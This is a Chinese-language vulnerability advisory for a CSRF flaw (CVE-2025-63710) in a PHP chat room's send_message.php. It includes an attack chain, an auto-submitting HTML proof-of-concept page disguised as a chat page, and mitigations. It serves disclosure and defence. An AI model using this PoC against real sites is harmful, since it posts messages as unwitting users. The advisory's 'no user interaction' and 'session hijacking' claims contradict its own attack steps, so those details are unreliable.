IPBUF安全漏洞报告
English
CVE-2025-63710 CVSS 6.5 中危

CVE-2025-63710 SourceCodester Simple Public Chat Room 1.0 CSRF漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63710
漏洞类型
CSRF
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Simple Public Chat Room 1.0

相关标签

CSRF跨站请求伪造SourceCodesterSimple Public Chat RoomWeb应用安全会话劫持PHPCVE-2025-63710

漏洞概述

CVE-2025-63710是SourceCodester Simple Public Chat Room 1.0中发现的一个跨站请求伪造(CSRF)漏洞。该漏洞存在于send_message.php端点,攻击者可利用此漏洞劫持已登录用户的会话,执行未经授权的操作。攻击者创建一个恶意HTML页面,当已认证用户访问该页面时,浏览器会自动向目标服务器的send_message.php端点发送伪造的POST请求。由于应用程序未实施任何CSRF保护机制(如令牌、nonce或同源Cookie限制),该请求将在受害者的权限上下文中执行,导致攻击者能够以受害者身份发送任意消息到任意聊天室。此漏洞无需认证即可发起攻击,且无需用户交互,具有较高的利用可行性,对应用程序的完整性和安全性造成严重影响。

技术细节

该CSRF漏洞源于Simple Public Chat Room 1.0的send_message.php端点缺少CSRF令牌验证机制。攻击者利用HTML表单自动提交特性,构建包含恶意请求参数的表单。当受害者访问攻击者控制的网页时,浏览器自动向目标服务器发送POST请求,请求中包含message等参数。由于浏览器会自动携带受害者的会话Cookie,且服务器未验证请求来源的合法性,攻击者的伪造请求被成功处理。攻击者可指定任意消息内容和目标聊天室,实现对聊天系统的未授权操作。漏洞利用的关键在于:1)服务器端未实现CSRF token验证;2)未使用SameSite Cookie属性限制跨域请求;3)缺少Referer或Origin头验证。攻击者可通过邮件、社交工程或恶意网站诱导受害者访问,实现静默攻击。

攻击链分析

STEP 1
步骤1
攻击者创建恶意HTML页面,包含自动提交的表单,表单action指向目标服务器的send_message.php端点
STEP 2
步骤2
攻击者通过钓鱼邮件、恶意链接或社交工程手段诱导已登录用户访问该恶意页面
STEP 3
步骤3
用户浏览器自动发送POST请求到send_message.php,携带用户的会话Cookie和伪造的消息参数
STEP 4
步骤4
服务器收到请求后,由于缺少CSRF验证机制,将请求视为合法用户操作,在聊天室中发布攻击者指定的消息
STEP 5
步骤5
攻击者成功以受害者身份执行未授权操作,可能用于传播恶意链接、垃圾信息或进行社会工程攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-63710 --> <!-- Target: SourceCodester Simple Public Chat Room 1.0 send_message.php --> <!DOCTYPE html> <html> <head> <title>Chat Message</title> </head> <body> <h1>Welcome to Chat Room</h1> <p>Loading messages...</p> <!-- Auto-submit CSRF form --> <form id="csrfForm" action="http://TARGET_HOST/simple-public-chat-room/send_message.php" method="POST" style="display:none;"> <input type="hidden" name="message" value="[CSRF] Malicious message injected by attacker"> <input type="hidden" name="chat_room" value="1"> </form> <script> // Auto-submit the form when page loads document.addEventListener('DOMContentLoaded', function() { console.log('Submitting message...'); document.getElementById('csrfForm').submit(); }); </script> </body> </html>

影响范围

SourceCodester Simple Public Chat Room 1.0

防御指南

临时缓解措施
在服务器端添加CSRF token验证,为所有状态修改操作生成并验证随机令牌;在Cookie中设置SameSite=Strict或SameSite=Lax属性;添加Referer和Origin头检查验证请求来源;临时禁用send_message.php端点直到完成安全修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表